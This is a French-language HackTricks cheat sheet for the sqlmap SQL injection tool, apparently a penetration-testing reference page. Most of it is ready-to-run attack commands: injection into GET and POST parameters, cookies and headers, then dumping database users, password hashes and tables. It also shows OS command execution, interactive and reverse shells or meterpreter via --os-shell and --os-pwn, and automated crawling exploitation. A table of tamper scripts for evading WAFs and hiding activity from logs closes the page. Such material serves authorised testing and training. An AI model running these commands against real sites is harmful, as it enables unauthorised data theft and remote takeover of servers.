SQLMap

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Arguments de base pour SQLmap

Générique

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

L'argument --technique définit quelles méthodes d'injection SQL sqlmap tentera. Chaque caractère de la chaîne représente une technique :

LettreTechniqueDescription
BBoolean-based blindUtilise des conditions vrai/faux pour inférer des données
EError-basedTire parti des messages d'erreur DBMS détaillés pour exfiltrer des résultats
UUNION queryInjecte des instructions UNION SELECT pour récupérer des données via le même canal
SStacked queriesAjoute des instructions supplémentaires séparées par ;
TTime-based blindS'appuie sur des délais (SLEEP, WAITFOR) pour détecter l'injection
QInline / out-of-bandUtilise des fonctions telles que LOAD_FILE() ou des canaux OOB comme DNS

L'ordre par défaut est BEUSTQ. Vous pouvez les réorganiser ou les limiter, par exemple uniquement Boolean et Time-based dans cet ordre :

bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch

Récupérer des informations

Interne

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Données de la base de données

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Capturez la requête et créez un fichier req.txt

bash
sqlmap -r req.txt --current-user

Injection de requête GET

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Injection de deuxième ordre

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Explorer un site web avec SQLmap et auto-exploitation

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personnalisation de l'injection

Définir un suffixe

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver l'injection booléenne

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyRemplace le caractère apostrophe par son équivalent en largeur complète UTF-8
apostrophenullencode.pyRemplace le caractère apostrophe par son équivalent unicode double illégal
appendnullbyte.pyAjoute un caractère NULL encodé à la fin de la charge utile
base64encode.pyEncode en Base64 tous les caractères d'une charge utile donnée
between.pyRemplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #'
bluecoat.pyRemplace le caractère espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE
chardoubleencode.pyDouble url-encode tous les caractères d'une charge utile donnée (ne traitant pas ceux déjà encodés)
commalesslimit.pyRemplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M'
commalessmid.pyRemplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)'
concat2concatws.pyRemplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-encode tous les caractères d'une charge utile donnée (ne traitant pas ceux déjà encodés)
charunicodeencode.pyUnicode-url-encode les caractères non encodés d'une charge utile donnée (ne traitant pas ceux déjà encodés). "%u0022"
charunicodeescape.pyUnicode-url-encode les caractères non encodés d'une charge utile donnée (ne traitant pas ceux déjà encodés). "\u0022"
equaltolike.pyRemplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE'
escapequotes.pyÉchappe les guillemets (' et ")
greatest.pyRemplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST'
halfversionedmorekeywords.pyAjoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.pyRemplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyEnveloppe la requête complète avec un commentaire versionné
modsecurityzeroversioned.pyEnveloppe la requête complète avec un commentaire à zéro version
multiplespaces.pyAjoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.pyRemplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (e.g. .replace("SELECT", "")) filtres
percentage.pyAjoute un signe de pourcentage ('%') devant chaque caractère
overlongutf8.pyConvertit tous les caractères d'une charge utile donnée (ne traitant pas ceux déjà encodés)
randomcase.pyRemplace chaque caractère de mot-clé par une valeur de casse aléatoire
randomcomments.pyAjoute des commentaires aléatoires aux mots-clés SQL
securesphere.pyAjoute une chaîne spécialement conçue
sp_password.pyAjoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS
space2comment.pyRemplace le caractère espace (' ') par des commentaires
space2dash.pyRemplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2hash.pyRemplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2morehash.pyRemplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2mssqlblank.pyRemplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
space2mssqlhash.pyRemplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n')
space2mysqlblank.pyRemplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
space2mysqldash.pyRemplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une nouvelle ligne ('\n')
space2plus.pyRemplace le caractère espace (' ') par un plus ('+')
space2randomblank.pyRemplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
symboliclogical.pyRemplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et
unionalltounion.pyRemplace UNION ALL SELECT par UNION SELECT
unmagicquotes.pyRemplace le caractère de citation (') par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin (pour que cela fonctionne)
uppercase.pyRemplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT'
varnish.pyAjoute un en-tête HTTP 'X-originating-IP'
versionedkeywords.pyEnveloppe chaque mot-clé non fonction avec un commentaire MySQL versionné
versionedmorekeywords.pyEnveloppe chaque mot-clé avec un commentaire MySQL versionné
xforwardedfor.pyAjoute un faux en-tête HTTP 'X-Forwarded-For'

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks